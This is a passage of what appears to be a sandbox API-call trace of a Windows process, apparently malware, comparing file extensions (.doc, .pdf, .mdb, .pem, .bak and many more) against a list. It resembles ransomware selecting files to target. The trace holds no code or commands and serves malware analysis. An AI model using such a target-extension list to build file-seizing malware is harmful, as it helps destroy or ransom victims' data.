	[0205.402] lstrcmpiW (lpString1=".accde", lpString2="") returned 1
	[0205.402] lstrlenW (lpString=".accdt") returned 6
	[0205.402] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1
	[0205.402] lstrlenW (lpString=".accdw") returned 6
	[0205.402] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1
	[0205.402] lstrlenW (lpString=".adb") returned 4
	[0205.402] lstrcmpiW (lpString1=".adb", lpString2="￿BCD") returned -1
	[0205.402] lstrlenW (lpString=".adp") returned 4
	[0205.402] lstrcmpiW (lpString1=".adp", lpString2="￿BCD") returned -1
	[0205.402] lstrlenW (lpString=".ai") returned 3
	[0205.402] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1
	[0205.402] lstrlenW (lpString=".ai3") returned 4
	[0205.402] lstrcmpiW (lpString1=".ai3", lpString2="￿BCD") returned -1
	[0205.402] lstrlenW (lpString=".ai4") returned 4
	[0205.402] lstrcmpiW (lpString1=".ai4", lpString2="￿BCD") returned -1
	[0205.402] lstrlenW (lpString=".ai5") returned 4
	[0205.402] lstrcmpiW (lpString1=".ai5", lpString2="￿BCD") returned -1
	[0205.402] lstrlenW (lpString=".ai6") returned 4
	[0205.402] lstrcmpiW (lpString1=".ai6", lpString2="￿BCD") returned -1
	[0205.402] lstrlenW (lpString=".ai7") returned 4
	[0205.402] lstrcmpiW (lpString1=".ai7", lpString2="￿BCD") returned -1
	[0205.402] lstrlenW (lpString=".ai8") returned 4
	[0205.402] lstrcmpiW (lpString1=".ai8", lpString2="￿BCD") returned -1
	[0205.402] lstrlenW (lpString=".anim") returned 5
	[0205.402] lstrcmpiW (lpString1=".anim", lpString2="쩄￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".arw") returned 4
	[0205.403] lstrcmpiW (lpString1=".arw", lpString2="￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".as") returned 3
	[0205.403] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1
	[0205.403] lstrlenW (lpString=".asa") returned 4
	[0205.403] lstrcmpiW (lpString1=".asa", lpString2="￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".asc") returned 4
	[0205.403] lstrcmpiW (lpString1=".asc", lpString2="￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".ascx") returned 5
	[0205.403] lstrcmpiW (lpString1=".ascx", lpString2="쩄￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".asm") returned 4
	[0205.403] lstrcmpiW (lpString1=".asm", lpString2="￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".asmx") returned 5
	[0205.403] lstrcmpiW (lpString1=".asmx", lpString2="쩄￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".asp") returned 4
	[0205.403] lstrcmpiW (lpString1=".asp", lpString2="￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".aspx") returned 5
	[0205.403] lstrcmpiW (lpString1=".aspx", lpString2="쩄￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".asr") returned 4
	[0205.403] lstrcmpiW (lpString1=".asr", lpString2="￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".asx") returned 4
	[0205.403] lstrcmpiW (lpString1=".asx", lpString2="￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".avi") returned 4
	[0205.403] lstrcmpiW (lpString1=".avi", lpString2="￿BCD") returned -1
	[0205.403] lstrlenW (lpString=".avs") returned 4
	[0205.404] lstrcmpiW (lpString1=".avs", lpString2="￿BCD") returned -1
	[0205.404] lstrlenW (lpString=".backup") returned 7
	[0205.404] lstrcmpiW (lpString1=".backup", lpString2="ံ") returned -1
	[0205.404] lstrlenW (lpString=".bak") returned 4
	[0205.404] lstrcmpiW (lpString1=".bak", lpString2="￿BCD") returned -1
	[0205.404] lstrlenW (lpString=".bay") returned 4
	[0205.404] lstrcmpiW (lpString1=".bay", lpString2="￿BCD") returned -1
	[0205.404] lstrlenW (lpString=".bd") returned 3
	[0205.404] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1
	[0205.404] lstrlenW (lpString=".bin") returned 4
	[0205.404] lstrcmpiW (lpString1=".bin", lpString2="￿BCD") returned -1
	[0205.404] lstrlenW (lpString=".bmp") returned 4
	[0205.404] lstrcmpiW (lpString1=".bmp", lpString2="￿BCD") returned -1
	[0205.404] lstrlenW (lpString=".bz2") returned 4
	[0205.404] lstrcmpiW (lpString1=".bz2", lpString2="￿BCD") returned -1
	[0205.404] lstrlenW (lpString=".c") returned 2
	[0205.404] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1
	[0205.404] lstrlenW (lpString=".cdr") returned 4
	[0205.404] lstrcmpiW (lpString1=".cdr", lpString2="￿BCD") returned -1
	[0205.404] lstrlenW (lpString=".cer") returned 4
	[0205.404] lstrcmpiW (lpString1=".cer", lpString2="￿BCD") returned -1
	[0205.404] lstrlenW (lpString=".cf") returned 3
	[0205.404] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1
	[0205.404] lstrlenW (lpString=".cfc") returned 4
	[0205.404] lstrcmpiW (lpString1=".cfc", lpString2="￿BCD") returned -1
	[0205.405] lstrlenW (lpString=".cfm") returned 4
	[0205.405] lstrcmpiW (lpString1=".cfm", lpString2="￿BCD") returned -1
	[0205.405] lstrlenW (lpString=".cfml") returned 5
	[0205.405] lstrcmpiW (lpString1=".cfml", lpString2="쩄￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".cfu") returned 4
	[0205.406] lstrcmpiW (lpString1=".cfu", lpString2="￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".chm") returned 4
	[0205.406] lstrcmpiW (lpString1=".chm", lpString2="￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".cin") returned 4
	[0205.406] lstrcmpiW (lpString1=".cin", lpString2="￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".class") returned 6
	[0205.406] lstrcmpiW (lpString1=".class", lpString2="") returned 1
	[0205.406] lstrlenW (lpString=".clx") returned 4
	[0205.406] lstrcmpiW (lpString1=".clx", lpString2="￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".config") returned 7
	[0205.406] lstrcmpiW (lpString1=".config", lpString2="ံ") returned -1
	[0205.406] lstrlenW (lpString=".cpp") returned 4
	[0205.406] lstrcmpiW (lpString1=".cpp", lpString2="￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".cr2") returned 4
	[0205.406] lstrcmpiW (lpString1=".cr2", lpString2="￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".crt") returned 4
	[0205.406] lstrcmpiW (lpString1=".crt", lpString2="￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".crw") returned 4
	[0205.406] lstrcmpiW (lpString1=".crw", lpString2="￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".cs") returned 3
	[0205.406] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1
	[0205.406] lstrlenW (lpString=".css") returned 4
	[0205.406] lstrcmpiW (lpString1=".css", lpString2="￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".csv") returned 4
	[0205.406] lstrcmpiW (lpString1=".csv", lpString2="￿BCD") returned -1
	[0205.406] lstrlenW (lpString=".cub") returned 4
	[0205.406] lstrcmpiW (lpString1=".cub", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".dae") returned 4
	[0205.407] lstrcmpiW (lpString1=".dae", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".dat") returned 4
	[0205.407] lstrcmpiW (lpString1=".dat", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".db") returned 3
	[0205.407] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1
	[0205.407] lstrlenW (lpString=".dbf") returned 4
	[0205.407] lstrcmpiW (lpString1=".dbf", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".dbx") returned 4
	[0205.407] lstrcmpiW (lpString1=".dbx", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".dc3") returned 4
	[0205.407] lstrcmpiW (lpString1=".dc3", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".dcm") returned 4
	[0205.407] lstrcmpiW (lpString1=".dcm", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".dcr") returned 4
	[0205.407] lstrcmpiW (lpString1=".dcr", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".der") returned 4
	[0205.407] lstrcmpiW (lpString1=".der", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".dib") returned 4
	[0205.407] lstrcmpiW (lpString1=".dib", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".dic") returned 4
	[0205.407] lstrcmpiW (lpString1=".dic", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".dif") returned 4
	[0205.407] lstrcmpiW (lpString1=".dif", lpString2="￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".divx") returned 5
	[0205.407] lstrcmpiW (lpString1=".divx", lpString2="쩄￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".djvu") returned 5
	[0205.407] lstrcmpiW (lpString1=".djvu", lpString2="쩄￿BCD") returned -1
	[0205.407] lstrlenW (lpString=".dng") returned 4
	[0205.407] lstrcmpiW (lpString1=".dng", lpString2="￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".doc") returned 4
	[0205.408] lstrcmpiW (lpString1=".doc", lpString2="￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".docm") returned 5
	[0205.408] lstrcmpiW (lpString1=".docm", lpString2="쩄￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".docx") returned 5
	[0205.408] lstrcmpiW (lpString1=".docx", lpString2="쩄￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".dot") returned 4
	[0205.408] lstrcmpiW (lpString1=".dot", lpString2="￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".dotm") returned 5
	[0205.408] lstrcmpiW (lpString1=".dotm", lpString2="쩄￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".dotx") returned 5
	[0205.408] lstrcmpiW (lpString1=".dotx", lpString2="쩄￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".dpx") returned 4
	[0205.408] lstrcmpiW (lpString1=".dpx", lpString2="￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".dqy") returned 4
	[0205.408] lstrcmpiW (lpString1=".dqy", lpString2="￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".dsn") returned 4
	[0205.408] lstrcmpiW (lpString1=".dsn", lpString2="￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".dt") returned 3
	[0205.408] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1
	[0205.408] lstrlenW (lpString=".dtd") returned 4
	[0205.408] lstrcmpiW (lpString1=".dtd", lpString2="￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".dwg") returned 4
	[0205.408] lstrcmpiW (lpString1=".dwg", lpString2="￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".dwt") returned 4
	[0205.408] lstrcmpiW (lpString1=".dwt", lpString2="￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".dx") returned 3
	[0205.408] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1
	[0205.408] lstrlenW (lpString=".dxf") returned 4
	[0205.408] lstrcmpiW (lpString1=".dxf", lpString2="￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".edml") returned 5
	[0205.408] lstrcmpiW (lpString1=".edml", lpString2="쩄￿BCD") returned -1
	[0205.408] lstrlenW (lpString=".efd") returned 4
	[0205.408] lstrcmpiW (lpString1=".efd", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".elf") returned 4
	[0205.409] lstrcmpiW (lpString1=".elf", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".emf") returned 4
	[0205.409] lstrcmpiW (lpString1=".emf", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".emz") returned 4
	[0205.409] lstrcmpiW (lpString1=".emz", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".epf") returned 4
	[0205.409] lstrcmpiW (lpString1=".epf", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".eps") returned 4
	[0205.409] lstrcmpiW (lpString1=".eps", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".epsf") returned 5
	[0205.409] lstrcmpiW (lpString1=".epsf", lpString2="쩄￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".epsp") returned 5
	[0205.409] lstrcmpiW (lpString1=".epsp", lpString2="쩄￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".erf") returned 4
	[0205.409] lstrcmpiW (lpString1=".erf", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".exr") returned 4
	[0205.409] lstrcmpiW (lpString1=".exr", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".f4v") returned 4
	[0205.409] lstrcmpiW (lpString1=".f4v", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".fido") returned 5
	[0205.409] lstrcmpiW (lpString1=".fido", lpString2="쩄￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".flm") returned 4
	[0205.409] lstrcmpiW (lpString1=".flm", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".flv") returned 4
	[0205.409] lstrcmpiW (lpString1=".flv", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".frm") returned 4
	[0205.409] lstrcmpiW (lpString1=".frm", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".fxg") returned 4
	[0205.409] lstrcmpiW (lpString1=".fxg", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".geo") returned 4
	[0205.409] lstrcmpiW (lpString1=".geo", lpString2="￿BCD") returned -1
	[0205.409] lstrlenW (lpString=".gif") returned 4
	[0205.409] lstrcmpiW (lpString1=".gif", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".grs") returned 4
	[0205.410] lstrcmpiW (lpString1=".grs", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".gz") returned 3
	[0205.410] lstrcmpiW (lpString1=".gz", lpString2="BCD") returned -1
	[0205.410] lstrlenW (lpString=".h") returned 2
	[0205.410] lstrcmpiW (lpString1=".h", lpString2="CD") returned -1
	[0205.410] lstrlenW (lpString=".hdr") returned 4
	[0205.410] lstrcmpiW (lpString1=".hdr", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".hpp") returned 4
	[0205.410] lstrcmpiW (lpString1=".hpp", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".hta") returned 4
	[0205.410] lstrcmpiW (lpString1=".hta", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".htc") returned 4
	[0205.410] lstrcmpiW (lpString1=".htc", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".htm") returned 4
	[0205.410] lstrcmpiW (lpString1=".htm", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".html") returned 5
	[0205.410] lstrcmpiW (lpString1=".html", lpString2="쩄￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".icb") returned 4
	[0205.410] lstrcmpiW (lpString1=".icb", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".ics") returned 4
	[0205.410] lstrcmpiW (lpString1=".ics", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".iff") returned 4
	[0205.410] lstrcmpiW (lpString1=".iff", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".inc") returned 4
	[0205.410] lstrcmpiW (lpString1=".inc", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".indd") returned 5
	[0205.410] lstrcmpiW (lpString1=".indd", lpString2="쩄￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".ini") returned 4
	[0205.410] lstrcmpiW (lpString1=".ini", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".iqy") returned 4
	[0205.410] lstrcmpiW (lpString1=".iqy", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".j2c") returned 4
	[0205.410] lstrcmpiW (lpString1=".j2c", lpString2="￿BCD") returned -1
	[0205.410] lstrlenW (lpString=".j2k") returned 4
	[0205.411] lstrcmpiW (lpString1=".j2k", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".java") returned 5
	[0205.411] lstrcmpiW (lpString1=".java", lpString2="쩄￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".jp2") returned 4
	[0205.411] lstrcmpiW (lpString1=".jp2", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".jpc") returned 4
	[0205.411] lstrcmpiW (lpString1=".jpc", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".jpe") returned 4
	[0205.411] lstrcmpiW (lpString1=".jpe", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".jpeg") returned 5
	[0205.411] lstrcmpiW (lpString1=".jpeg", lpString2="쩄￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".jpf") returned 4
	[0205.411] lstrcmpiW (lpString1=".jpf", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".jpg") returned 4
	[0205.411] lstrcmpiW (lpString1=".jpg", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".jpx") returned 4
	[0205.411] lstrcmpiW (lpString1=".jpx", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".js") returned 3
	[0205.411] lstrcmpiW (lpString1=".js", lpString2="BCD") returned -1
	[0205.411] lstrlenW (lpString=".jsf") returned 4
	[0205.411] lstrcmpiW (lpString1=".jsf", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".json") returned 5
	[0205.411] lstrcmpiW (lpString1=".json", lpString2="쩄￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".jsp") returned 4
	[0205.411] lstrcmpiW (lpString1=".jsp", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".kdc") returned 4
	[0205.411] lstrcmpiW (lpString1=".kdc", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".kmz") returned 4
	[0205.411] lstrcmpiW (lpString1=".kmz", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".kwm") returned 4
	[0205.411] lstrcmpiW (lpString1=".kwm", lpString2="￿BCD") returned -1
	[0205.411] lstrlenW (lpString=".lasso") returned 6
	[0205.411] lstrcmpiW (lpString1=".lasso", lpString2="") returned 1
	[0205.411] lstrlenW (lpString=".lbi") returned 4
	[0205.412] lstrcmpiW (lpString1=".lbi", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".lgf") returned 4
	[0205.412] lstrcmpiW (lpString1=".lgf", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".lgp") returned 4
	[0205.412] lstrcmpiW (lpString1=".lgp", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".log") returned 4
	[0205.412] lstrcmpiW (lpString1=".log", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".m1v") returned 4
	[0205.412] lstrcmpiW (lpString1=".m1v", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".m4a") returned 4
	[0205.412] lstrcmpiW (lpString1=".m4a", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".m4v") returned 4
	[0205.412] lstrcmpiW (lpString1=".m4v", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".max") returned 4
	[0205.412] lstrcmpiW (lpString1=".max", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".md") returned 3
	[0205.412] lstrcmpiW (lpString1=".md", lpString2="BCD") returned -1
	[0205.412] lstrlenW (lpString=".mda") returned 4
	[0205.412] lstrcmpiW (lpString1=".mda", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".mdb") returned 4
	[0205.412] lstrcmpiW (lpString1=".mdb", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".mde") returned 4
	[0205.412] lstrcmpiW (lpString1=".mde", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".mdf") returned 4
	[0205.412] lstrcmpiW (lpString1=".mdf", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".mdw") returned 4
	[0205.412] lstrcmpiW (lpString1=".mdw", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".mef") returned 4
	[0205.412] lstrcmpiW (lpString1=".mef", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".mft") returned 4
	[0205.412] lstrcmpiW (lpString1=".mft", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".mfw") returned 4
	[0205.412] lstrcmpiW (lpString1=".mfw", lpString2="￿BCD") returned -1
	[0205.412] lstrlenW (lpString=".mht") returned 4
	[0205.413] lstrcmpiW (lpString1=".mht", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mhtml") returned 6
	[0205.413] lstrcmpiW (lpString1=".mhtml", lpString2="") returned 1
	[0205.413] lstrlenW (lpString=".mka") returned 4
	[0205.413] lstrcmpiW (lpString1=".mka", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mkidx") returned 6
	[0205.413] lstrcmpiW (lpString1=".mkidx", lpString2="") returned 1
	[0205.413] lstrlenW (lpString=".mkv") returned 4
	[0205.413] lstrcmpiW (lpString1=".mkv", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mos") returned 4
	[0205.413] lstrcmpiW (lpString1=".mos", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mov") returned 4
	[0205.413] lstrcmpiW (lpString1=".mov", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mp3") returned 4
	[0205.413] lstrcmpiW (lpString1=".mp3", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mp4") returned 4
	[0205.413] lstrcmpiW (lpString1=".mp4", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mpeg") returned 5
	[0205.413] lstrcmpiW (lpString1=".mpeg", lpString2="쩄￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mpg") returned 4
	[0205.413] lstrcmpiW (lpString1=".mpg", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mpv") returned 4
	[0205.413] lstrcmpiW (lpString1=".mpv", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mrw") returned 4
	[0205.413] lstrcmpiW (lpString1=".mrw", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".msg") returned 4
	[0205.413] lstrcmpiW (lpString1=".msg", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".mxl") returned 4
	[0205.413] lstrcmpiW (lpString1=".mxl", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".myd") returned 4
	[0205.413] lstrcmpiW (lpString1=".myd", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".myi") returned 4
	[0205.413] lstrcmpiW (lpString1=".myi", lpString2="￿BCD") returned -1
	[0205.413] lstrlenW (lpString=".nef") returned 4
	[0205.414] lstrcmpiW (lpString1=".nef", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".nrw") returned 4
	[0205.414] lstrcmpiW (lpString1=".nrw", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".obj") returned 4
	[0205.414] lstrcmpiW (lpString1=".obj", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".odb") returned 4
	[0205.414] lstrcmpiW (lpString1=".odb", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".odc") returned 4
	[0205.414] lstrcmpiW (lpString1=".odc", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".odm") returned 4
	[0205.414] lstrcmpiW (lpString1=".odm", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".odp") returned 4
	[0205.414] lstrcmpiW (lpString1=".odp", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".ods") returned 4
	[0205.414] lstrcmpiW (lpString1=".ods", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".oft") returned 4
	[0205.414] lstrcmpiW (lpString1=".oft", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".one") returned 4
	[0205.414] lstrcmpiW (lpString1=".one", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".onepkg") returned 7
	[0205.414] lstrcmpiW (lpString1=".onepkg", lpString2="ံ") returned -1
	[0205.414] lstrlenW (lpString=".onetoc2") returned 8
	[0205.414] lstrcmpiW (lpString1=".onetoc2", lpString2="") returned 1
	[0205.414] lstrlenW (lpString=".opt") returned 4
	[0205.414] lstrcmpiW (lpString1=".opt", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".oqy") returned 4
	[0205.414] lstrcmpiW (lpString1=".oqy", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".orf") returned 4
	[0205.414] lstrcmpiW (lpString1=".orf", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".p12") returned 4
	[0205.414] lstrcmpiW (lpString1=".p12", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".p7b") returned 4
	[0205.414] lstrcmpiW (lpString1=".p7b", lpString2="￿BCD") returned -1
	[0205.414] lstrlenW (lpString=".p7c") returned 4
	[0205.415] lstrcmpiW (lpString1=".p7c", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pam") returned 4
	[0205.415] lstrcmpiW (lpString1=".pam", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pbm") returned 4
	[0205.415] lstrcmpiW (lpString1=".pbm", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pct") returned 4
	[0205.415] lstrcmpiW (lpString1=".pct", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pcx") returned 4
	[0205.415] lstrcmpiW (lpString1=".pcx", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pdd") returned 4
	[0205.415] lstrcmpiW (lpString1=".pdd", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pdf") returned 4
	[0205.415] lstrcmpiW (lpString1=".pdf", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pdp") returned 4
	[0205.415] lstrcmpiW (lpString1=".pdp", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pef") returned 4
	[0205.415] lstrcmpiW (lpString1=".pef", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pem") returned 4
	[0205.415] lstrcmpiW (lpString1=".pem", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pff") returned 4
	[0205.415] lstrcmpiW (lpString1=".pff", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pfm") returned 4
	[0205.415] lstrcmpiW (lpString1=".pfm", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pfx") returned 4
	[0205.415] lstrcmpiW (lpString1=".pfx", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".pgm") returned 4
	[0205.415] lstrcmpiW (lpString1=".pgm", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".php") returned 4
	[0205.415] lstrcmpiW (lpString1=".php", lpString2="￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".php3") returned 5
	[0205.415] lstrcmpiW (lpString1=".php3", lpString2="쩄￿BCD") returned -1
	[0205.415] lstrlenW (lpString=".php4") returned 5
	[0205.415] lstrcmpiW (lpString1=".php4", lpString2="쩄￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".php5") returned 5
	[0205.416] lstrcmpiW (lpString1=".php5", lpString2="쩄￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".phtml") returned 6
	[0205.416] lstrcmpiW (lpString1=".phtml", lpString2="") returned 1
	[0205.416] lstrlenW (lpString=".pict") returned 5
	[0205.416] lstrcmpiW (lpString1=".pict", lpString2="쩄￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".pl") returned 3
	[0205.416] lstrcmpiW (lpString1=".pl", lpString2="BCD") returned -1
	[0205.416] lstrlenW (lpString=".pls") returned 4
	[0205.416] lstrcmpiW (lpString1=".pls", lpString2="￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".pm") returned 3
	[0205.416] lstrcmpiW (lpString1=".pm", lpString2="BCD") returned -1
	[0205.416] lstrlenW (lpString=".png") returned 4
	[0205.416] lstrcmpiW (lpString1=".png", lpString2="￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".pnm") returned 4
	[0205.416] lstrcmpiW (lpString1=".pnm", lpString2="￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".pot") returned 4
	[0205.416] lstrcmpiW (lpString1=".pot", lpString2="￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".potm") returned 5
	[0205.416] lstrcmpiW (lpString1=".potm", lpString2="쩄￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".potx") returned 5
	[0205.416] lstrcmpiW (lpString1=".potx", lpString2="쩄￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".ppa") returned 4
	[0205.416] lstrcmpiW (lpString1=".ppa", lpString2="￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".ppam") returned 5
	[0205.416] lstrcmpiW (lpString1=".ppam", lpString2="쩄￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".ppm") returned 4
